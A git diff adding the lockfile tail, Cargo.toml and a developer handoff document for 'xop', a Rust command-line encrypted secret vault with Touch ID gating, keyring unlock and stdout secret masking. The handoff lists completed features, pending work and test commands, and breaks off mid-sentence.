"libc", + "mio", + "parking_lot", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-macros" +version = "2.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78773a2a397f451582ce068015985c33193cf6dea8b74d2a639fe457b2f07b0e" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", +] + +[[package]] +name = "toml" +version = "0.8.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc1beb996b9d83529a9e75c17a1686767d148d70663143c7854d8b4a09ced362" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit", +] + +[[package]] +name = "toml_datetime" +version = "0.6.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22cddaf88f4fbc13c51aebbf5f8eceb5c7c5a9da2ac40a13519eb5b0a0e8f11c" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.22.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41fe8c660ae4257887cf66394862d21dbca4a6ddd26f04a3560410406a2f819a" +dependencies = [ + "indexmap", + "serde", + "serde_spanned", + "toml_datetime", + "toml_write", + "winnow", +] + +[[package]] +name = "toml_write" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d99f8c9a7727884afe522e9bd5edbfc91a3312b36a77b5fb8926e4c31a41801" + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-serde" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "704b1aeb7be0d0a84fc9828cae51dab5970fee5088f83d1dd7ee6f6246fc6ff1" +dependencies = [ + "serde", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7f578e5945fb242538965c2d0b04418d38ec25c79d160cd279bf0731c8d319" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex-automata", + "serde", + "serde_json", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", + "tracing-serde", +] + +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + +[[package]] +name = "unicode-ident" +version = "1.0.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d245f478577f809a851594d02313b640fb437e0bb33866753cff937863096954" + +[[package]] +name = "universal-hash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" +dependencies = [ + "crypto-common", + "subtle", +] + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "valuable" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wait-timeout" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ac3b126d3914f9849036f826e054cbabdc8519970b8998ddaf3b5bd3c65f11" +dependencies = [ + "libc", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasm-bindgen" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9bb54f33acc68fd454578d9820b0bde1a1a3d17aa17bb7b6595806d02886d409" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e29d0c35b16e224a7eeb5cd2d25e3e1968fbd65604117b44d3b789d00ee8535" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f501a8bc3719dba86ef8ae4728879c08001bea749eb1333ac5b91e040e2a6b7" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn 3.0.6", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23f0c9c52aa7cd7d77769a4cfe2a9adb1b331f489a41d912ce14513d5ab995c6" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "which" +version = "6.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4ee928febd44d98f2f459a4a79bd4d928591333a494a10a868418ac1b39cf1f" +dependencies = [ + "either", + "home", + "rustix 0.38.44", + "winsafe", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-core" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-result" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "winnow" +version = "0.7.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df79d97927682d2fd8adb29682d1140b343be4ac0f08fd68b7765d9c059d3945" +dependencies = [ + "memchr", +] + +[[package]] +name = "winsafe" +version = "0.0.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d135d17ab770252ad95e9a872d365cf3090e3be864a34ab46f48555993efc904" + +[[package]] +name = "xop" +version = "0.2.0" +dependencies = [ + "aes-gcm", + "anyhow", + "argon2", + "assert_cmd", + "async-trait", + "chrono", + "clap", + "cocoa", + "fs2", + "nix", + "objc", + "once_cell", + "predicates", + "rand", + "regex", + "rpassword", + "secrecy", + "serde", + "serde_json", + "serial_test", + "tempfile", + "thiserror", + "tokio", + "toml", + "tracing", + "tracing-subscriber", + "which", + "zeroize", +] + +[[package]] +name = "zerocopy" +version = "0.8.59" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6df92bf3d9227be3d53173901ddbffac2babc27ae50f397776ffd6dc33f800cb" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.59" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac4f328cf2f05d084e496c3e9c3f33ed0a183656a16e1fcec4d464d8373aec82" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zeroize" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13c156562582aa81c60cb29407084cdb54c4164760106ab78e6c5b0858cf64e" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c50655cbb0fe3fc43170059e702f1ce5e19b84cec58dc87b037a09935c2f328" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zmij" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..8f60d7c --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,103 @@ +[package] +name = "xop" +version = "0.2.0" +edition = "2021" +description = "Local encrypted secret vault with Touch ID/PAM auth and optional child-process injection" +license = "MIT" +repository = "https://github.com/your-org/xop" +keywords = ["secrets", "vault", "cli", "credential-injection", "touch-id", "pam"] +categories = ["command-line-utilities", "authentication", "cryptography"] + +[lib] +name = "xop" +path = "src/lib.rs" + +[[bin]] +name = "xop" +path = "src/main.rs" + +[dependencies] +# CLI +clap = { version = "4", features = ["derive", "env"] } + +# Async runtime +tokio = { version = "1", features = ["full"] } + +# Error handling +anyhow = "1" +thiserror = "2" + +# Serialization (audit log / config) +serde = { version = "1", features = ["derive"] } +serde_json = "1" + +# Secret type hygiene +secrecy = "0.10" + +# Process / POSIX +nix = { version = "0.29", features = ["process", "signal", "fs", "net", "resource"] } + +# Random number generation (vault salt/nonce) +rand = "0.8" + +# Regex (argv parsing, stdout masking) +regex = "1" + +# Time (audit log timestamps) +chrono = { version = "0.4", features = ["serde"] } + +# Logging +tracing = "0.1" +tracing-subscriber = { version = "0.3", features = ["env-filter", "json"] } + +# Async trait support (required for `async fn` in traits used as dyn) +async-trait = "0.1" + +# Backend discovery (used by exec mode for resolving PATH) +which = "6" + +# Templating +once_cell = "1" + +# ── v0.2: local vault + auth ───────────────────────────────────────────────── +# Crypto for vault +aes-gcm = "0.10" +argon2 = "0.5" +zeroize = { version = "1", features = ["zeroize_derive"] } +# Vault plaintext format +toml = "0.8" +# Hidden passphrase prompt +rpassword = "7" +# Filesystem locking for atomic vault writes +fs2 = "0.4" + +# Linux: PAM auth (currently uses pkexec subprocess; pam crate optional for future) +# [target.'cfg(target_os = "linux")'.dependencies] +# pam = "0.8" + +# macOS: Touch ID via LAContext +[target.'cfg(target_os = "macos")'.dependencies] +cocoa = "0.26" +objc = "0.2" + +[dev-dependencies] +assert_cmd = "2" +predicates = "3" +tempfile = "3" +serial_test = "3" + +# Test-only feature: when enabled, `xop` will read `XOP_VAULT_PASSWORD` from +# the environment as a substitute for the interactive /dev/tty passphrase prompt. +# Used solely by `cargo test --features test-bypass` so integration tests +# can drive the binary non-interactively. NEVER enabled in release builds — +# shipping it would let any process with the env var bypass the entire +# passphrase layer and defeat the point of the encrypted vault. +[features] +default = [] +test-bypass = [] + +[profile.release] +opt-level = 3 +lto = "thin" +codegen-units = 1 +strip = true \ No newline at end of file diff --git a/HANDOFF.md b/HANDOFF.md new file mode 100644 index 0000000..b932815 --- /dev/null +++ b/HANDOFF.md @@ -0,0 +1,271 @@ +# xop · Session Handoff + +> Pick up here in a new session at `/Users/xs/Documents/xop`. +> This doc tells you exactly where the project is, what's done, what's not, and what to do next. + +--- + +## TL;DR for the next session + +```bash +cd /Users/xs/Documents/xop + +# 必须先编译 +cargo check --all-targets + +# 单元测试(62 个,全跑;无 env 前置) +cargo test --lib + +# 集成测试(15 个,需要 XOP_AUTH_BYPASS=1 + XOP_VAULT_PASSWORD=testpass) +# 注意:XOP_VAULT_PASSWORD 旁路只在 `--features test-bypass` 构建中有效; +# release binary 永远不读这个 env。cargo test --test integration 不带 feature 会失败。 +XOP_AUTH_BYPASS=1 XOP_VAULT_PASSWORD=testpass \ + cargo test --features test-bypass --test integration -- --test-threads=1 + +# Smoke(默认 release build 不带 test-bypass feature) +cargo build --release +./target/release/xop # banner +./target/release/xop help # 完整帮助 +./target/release/xop --dry-run --secret DB_PASS=db_pass --allow-net=db.local:5432 --deny-net=* -- echo hi +./target/release/xop run --secret SSHPASS=s11_pass --allow-net=192.168.1.19:22 --deny-net='*' -- \ + sshpass -e ssh -o StrictHostKeyChecking=accept-new rong@192.168.1.19 'ls /Users' +``` + +**v0.2.1 status (2026-10-02): working CLI + local vault + real Touch ID gate (LAContext biometrics via JXA — cancel = refuse exit 77, no system password ever; `auth::Gate` decision: local-biometric/headless → keyring silent, SSH & no-biometric & Linux-interactive → xop passphrase typed, keyring unused) + `xop run` + `xop://KEY` argv placeholders + file-keyring passphrase-free unlock (`~/.xop/keyring`, 0600 — NOT macOS Keychain, rejected after live test popped system dialogs) + real stdout/stderr leak masking (`12****【xop禁止将密钥泄漏】`) + partial-mask `set` echo + `xop key [--save|--remove]`. No external backend dependencies.** The single most impactful next step: **NetworkGuard / FileGuard OS-level enforcement (pf/iptables/sandbox-exec/landlock) + Askpass injection strategy** (P1 below). + +--- + +## 1. What's done + +### v0.2.1 additions (2026-10-02 — user live-test drove 4 fixes) + +| Layer | Status | File | +|---|---|---| +| `set` value no longer echoes plaintext (partial mask `ab****`) | ✅ complete | `src/commands/set.rs` (rpassword `password_feedback_partial_mask`) | +| **File keyring unlock** — `~/.xop/keyring` 0600 hex key; OS gate runs first and its `Gate` verdict decides eligibility (biometric pass or headless → silent keyring; SSH/no-biometric → typed passphrase, keyring unused); agent-friendly `xop run` with zero passphrase | ✅ complete + unit + integration tested | `src/vault/keyring.rs` + `src/vault/mod.rs::open` | +| `xop key [--save|--remove]` subcommand (status / enable on old vaults / revoke) | ✅ complete | `src/commands/key.rs` | +| **Real stdout leak masking** (old `guard_for_reader` was a passthrough stub — that's why raw `123456` reached the user's terminal). Line-buffered filter, mask `12****【xop禁止将密钥泄漏】`, kill/refuse → SIGKILL, audit leak_event | ✅ complete + 8 unit + 2 e2e tests | `src/guard/stdout.rs` | +| `xop reset --yes` cascades keyring deletion | ✅ complete | `src/commands/reset.rs` | +| **OS gate rewritten to REAL fingerprint**: LAContext `.deviceOwnerAuthenticationWithBiometrics` via JXA (biometrics-only — dialog has no password field). LAError classification: cancel/refuse (-128/-5/-12/unknown) → `AuthCancelled` exit 77 (old code degraded to OK and `xop set` stored the secret after "用户已取消") | ✅ complete + 8 unit tests | `src/auth/touchid.rs` | +| **`auth::Gate` decision table (live-test #2 fix)**: authenticate now returns `AllowKeyring` / `RequirePassphrase`. Headless(non-TTY, incl. `ssh host cmd`) → AllowKeyring; **SSH pty session → never attempts biometrics** (dialog would pop on the local console), requires typed xop passphrase, keyring NOT consulted; local no-biometrics / broken osascript / Linux interactive → same RequirePassphrase. Rationale: silent keyring unlock needs an identity proof behind it. Linux `pam.rs` deleted (pkexec system password was the old bug) | ✅ complete + 5 unit decide tests + 1 integration | `src/auth/mod.rs::decide` + `src/vault/mod.rs::open` | +| **macOS Keychain approach: implemented, then REJECTED & deleted** — `security(1)` popped system authorization dialogs during background automation (2026-10-02 user veto: 不要放在钥匙串). xop must NEVER call `security(1)` against the user's keychain | ❌ removed | (git history only) | + +### v0.2 (2026-10-01) + +| Layer | Status | File | +|---|---|---| +| Cargo.toml + deps (no backend crates) | ✅ complete | `Cargo.toml` | +| CLI arg surface (clap derive, Subcommand enum) | ✅ complete | `src/args.rs` | +| `SecretRef` parsing (bare `KEY=NAME` + `argv_placeholder` flag) | ✅ complete + unit tested | `src/secret.rs` | +| Typed `XopError` + exit code mapping (BSD sysexits) | ✅ complete | `src/error.rs` | +| `Policy` (NetPolicy / ReadPolicy / LeakAction) | ✅ complete + unit tested | `src/policy.rs` | +| Default deny-read list (pre-seeded) | ✅ complete | `src/policy.rs::DEFAULT_DENY_READ` | +| **Local encrypted vault** (AES-256-GCM, argon2id, atomic write) | ✅ complete + unit tested | `src/vault/{mod,format}.rs` | +| **OS auth gate** (v0.2 shipped osascript-admin + pkexec; **rewritten in v0.2.1** to LAContext biometrics-only via JXA + `Gate` eligibility for keyring; SSH & Linux-interactive & no-biometric → typed passphrase — see table above) | ✅ complete | `src/auth/{mod,touchid}.rs` | +| **6 subcommands** (init/set/list/get/rm/reset) | ✅ complete + integration tested | `src/commands/{init,set,list,get,rm,reset}.rs` | +| **`xop run` subcommand** (envp inject + `xop://KEY` argv substitution; single vault open) | ✅ complete + live SSH-verified | `src/lib.rs::run_join_and_exec` + `src/injector.rs::scrub_argv` | +| **TTY-aware passphrase prompt** (`/dev/tty` for real terminal, stdin fallback for agent/pipe/expect) | ✅ complete | `src/vault/mod.rs::rpassword_prompt` | +| **`test-bypass` Cargo feature** (gates `XOP_VAULT_PASSWORD` env to test builds only) | ✅ complete | `Cargo.toml::[features]` + `src/vault/mod.rs` cfg-gate | +| Audit log (ref-only, JSONL, invariant test scans 4 keywords) | ✅ complete | `src/audit.rs` | +| `secrecy::SecretBox` wrapper for values | ✅ complete | `src/secret.rs::ResolvedValue` | +| StdoutGuard (filter + pipe loop, async tokio) | ✅ complete + unit tested | `src/guard/stdout.rs` | +| NetworkGuard / FileGuard (interface) | ✅ interface complete, OS impl stubbed | `src/guard/{network,file}.rs` | +| Injector plan + `build_envp_delta` (real impl, skips `argv_placeholder` refs) | ✅ complete | `src/injector.rs` | +| Child env hardening (HISTFILE=/dev/null etc.) | ✅ complete | `src/injector.rs::harden_child_envp` | +| **Spawn pipeline** (tokio + pre_exec + RLIMIT_CORE=0) | ✅ complete | `src/lib.rs::spawn_child` | +| Dry-run mode | ✅ complete | `src/lib.rs::run_dry` | +| Design / threat-model / comparison / architecture docs | ✅ complete | `docs/*.md` | +| Examples (init, list, get, ssh, mysql, dry-run) | ✅ complete | `examples/*.sh` | +| Integration tests (assert_cmd) | ✅ 11 tests, all green (with `--features test-bypass`) | `tests/integration.rs` | +| `Makefile` (build / install / uninstall / test / clippy) | ✅ complete | `Makefile` | +| secret-agent cloned as reference | ✅ complete | `refs/secret-agent/` | + +## 2. What's NOT done + +### 🟡 P1 — Important but not blocking v0.2 + +| Item | Where | Effort | Notes | +|---|---|---|---| +| **`NetworkGuard` OS impl** (pf / iptables) | `src/guard/network.rs::setup` | 2-3 hours | macOS: `Command::new("pfctl")` + stdin pipe, anchor = `xop/`. Linux: `iptables -m owner --pid-owner ` in OUTPUT chain. | +| **`FileGuard` OS impl** (sandbox-exec / landlock) | `src/guard/file.rs::setup` | 2-3 hours | macOS: `build_sandbox_profile` exists; need to invoke `sandbox-exec -p `. Linux: `prctl(PR_SET_NO_NEW_PRIVS)` + landlock ruleset before execve. | +| **`Askpass` injection strategy** | `src/injector.rs` | 1-2 hours | Write `/tmp/.xop-askpass-$$` chmod 700, body `echo "$XOP_SSH_PASSWORD"`. Set `SSH_ASKPASS` + `SSH_ASKPASS_REQUIRE=force` + `DISPLAY=:0`. `srm -m` + `rm` on child exit. | +| **`Fd` injection strategy** | `src/injector.rs` | 30 min | Lower priority — for tools that read password from fd 3. | +| **Argv scrubber** | `src/injector.rs::scrub_argv` | 1 hour | Detect `--password=`, `-p`, `PASSWORD=...` patterns in user's argv. | +| **Signal forwarding (SIGINT/SIGTERM)** | `src/lib.rs::spawn_child` | 30 min | `Command::kill_on_drop(true)` already; need separate signal handler task to forward SIGINT/SIGTERM. | +| **Entropy-based stdout detection** | `src/guard/stdout.rs` | 4-6 hours | High-entropy string match (gitleaks-style) for unknown leaks that evade name-based regex. | + +### 🟢 P2 — Nice to have + +| Item | Where | Notes | +|---|---|---| +| **Library mode** | `src/lib.rs` | `pub use xop::exec` for embedding in xstudio later. | +| **Passphrase strength meter** (zxcvbn) | `src/commands/init.rs` | Warn or refuse weak passphrases during `init`. | +| **Ref-to-hash translation in history** | `src/lib.rs` | So shell history doesn't reveal which vault items are in use. | +| ~~**macOS Keychain as passphrase-source**~~ | — | **REJECTED 2026-10-02** (user veto after live test: `security(1)` popped system authorization dialogs mid-automation). Replaced by file keyring `~/.xop/keyring`. Do NOT re-litigate. | + +--- + +## 3. Key design decisions (v0.2 pivot) + +| Decision | Why | Source | +|---|---|---| +| **Local vault, no external backends** | Avoid per-resolve subprocess (`op read`, `vault kv get`) which leaks vault metadata into `ps`. Single binary, works on fresh machine. | this doc, `docs/design.md` §2 P5 | +| **OS auth gate (real Touch ID, biometrics-only) + passphrase = 2FA; keyring silent-unlock only where identity is proven** | Biometric alone never decrypts; passphrase alone never reaches the vault. Dialog shows NO password option; cancel = exit 77 refusal; **never** the system login password (user hard rule 2026-10-02). SSH sessions & no-biometric devices must type the xop passphrase — keyring unused there; headless automation may use keyring silently. | `docs/design.md` §7, `docs/threat-model.md` T11, `src/auth/{mod,touchid}.rs` | +| **Whole-file single blob (TOML in AES-GCM)** | Simple. Atomic write. Re-randomized nonce per save. | `docs/architecture.md` | +| **`op://`/`vault://`/`keychain://` schemes removed** | v0.1 leaked which backend was in use (metadata). v0.2 = bare key names only. | `src/secret.rs` | +| **Master key in vault file** (decision 9A) | Simpler than separate keystore. Argon2(passphrase) provides the key; OS auth is just a pre-gate. | `docs/design.md` §7 | +| **Deno-style permission DSL** | `--allow-net=`, `--deny-net=`. Battle-tested in Deno runtime. | `docs/design.md` §3 | +| **Audit log: NO `value`/`plaintext`/`ciphertext`/`passphrase` field** | Type-system + scan test enforce it. Invariant I2. | `src/audit.rs` | +| **`SecretBox` for all values** | `Debug` impl prints ``. Prevents accidental `println!("{:?}", v)` leaks. | `src/secret.rs` | +| **`pre_exec` for `RLIMIT_CORE=0`** | Only way to set rlimit on a `tokio::process::Command` child (runs after fork, before execve). | `src/lib.rs::spawn_child`, `docs/architecture.md` | +| **`XOP_AUTH_BYPASS=1` for tests only** | Skip OS auth in CI/headless. Passphrase still required (invariant I8). | `src/auth/mod.rs` | +| **Atomic vault writes (`tmp + rename`)** | Survive partial writes / power loss. | `src/vault/format.rs::write` | +| **`XOP_VAULT_PASSWORD` is feature-gated** | Reading this env from a release binary is a backdoor — any process with the env var decrypts the whole vault. Compiled out of release via `#[cfg(feature = "test-bypass")]`. Verified by `strings target/release/xop \| grep XOP_VAULT_PASSWORD` → empty. | `Cargo.toml::[features]` + `src/vault/mod.rs` | +| **`xop run` opens vault exactly once** | `--secret` env-inject refs and `xop://KEY` argv placeholders are both `SecretRef`s (differentiated by `argv_placeholder` flag), collected by `collect_refs` and passed to a single `resolve_all` call. User types passphrase once. | `src/lib.rs::run_join_and_exec` + `src/secret.rs::SecretRef::argv_placeholder` | +| **TTY-aware passphrase prompt** | `is_terminal(stdin)` decides: real terminal → `/dev/tty` (so `xop set` still reads the secret value from stdin); non-TTY (agent/pipe/expect) → stdin fallback. No env-var backdoor needed. | `src/vault/mod.rs::rpassword_prompt` | + +--- + +## 4. How to test + +```bash +cd /Users/xs/Documents/xop + +# 1. Unit tests (fast, run often, no env needed) +cargo test --lib +# Expected: 62 tests pass (args, secret, policy, audit, vault::format, vault::mod, vault::keyring, auth(touchid LAError 分类 ×8 + decide 决策表 ×5), stdout-guard, error, injector). + +# 2. Integration tests (need built binary + bypass env + test-bypass feature) +# XOP_VAULT_PASSWORD 旁路只在 --features test-bypass 构建中有效 +XOP_AUTH_BYPASS=1 XOP_VAULT_PASSWORD=testpass \ + cargo test --features test-bypass --test integration -- --test-threads=1 +# Expected: 15 tests pass (help, banner, dry-run, bad-ref, secrets-file, env, init-vault, get-unknown, list-empty, run_masks_secret_in_child_stdout, run_masks_argv_placeholder_value, keyring_enables_passphrase_free_unlock, ssh_env_headless_still_unlocks_via_keyring). + +# 3. Combined +cargo test --lib && \ + XOP_AUTH_BYPASS=1 XOP_VAULT_PASSWORD=testpass \ + cargo test --features test-bypass --test integration -- --test-threads=1 + +# 4. Live smoke — 必须真人跑,两种终端各测一遍 +cargo build --release +# (a) 本机 Terminal.app: +./target/release/xop init # 不弹指纹(bootstrap);passphrase ×2 后自动写 keyring +./target/release/xop set DB_PASS # 弹真指纹 → 通过 → 交互输入 secret value(不再问口令) +./target/release/xop list # 弹指纹 → keyring 静默解锁 +# (b) SSH 会话(ssh <本机用户>@): +./target/release/xop list # 绝不弹指纹 → 提示输入 Vault passphrase(管理员密码)→ 成功 +./target/release/xop set aa # 同上:先输口令再输入值;点取消口令 = 失败 +./target/release/xop --dry-run --secret DB_PASS=db_pass --allow-net=db.local:5432 --deny-net=* -- echo hi +./target/release/xop run --secret SSHPASS=ssh_pass \ + --allow-net=192.168.1.0/24 --deny-net='*' -- \ + sshpass -e ssh user@host 'ls /Users' + +# 5. 验证 release binary 没有 XOP_VAULT_PASSWORD 旁路(应空) +strings target/release/xop | grep XOP_VAULT_PASSWORD +``` + +--- + +## 5. Common pitfalls for the next session + +1. **bash expands `$VAR`** — `xop ssh user:$SSH_PASSWORD@host` gets expanded by bash before xop sees it. **Always use `--secret KEY=NAME` flag**. + +2. **`rpassword::prompt_password` requires a real TTY** — can't be called from CI or piped stdin. Current `rpassword_prompt` is TTY-aware: stdin is TTY → `/dev/tty` (hidden), stdin is NOT TTY → stdin fallback (no 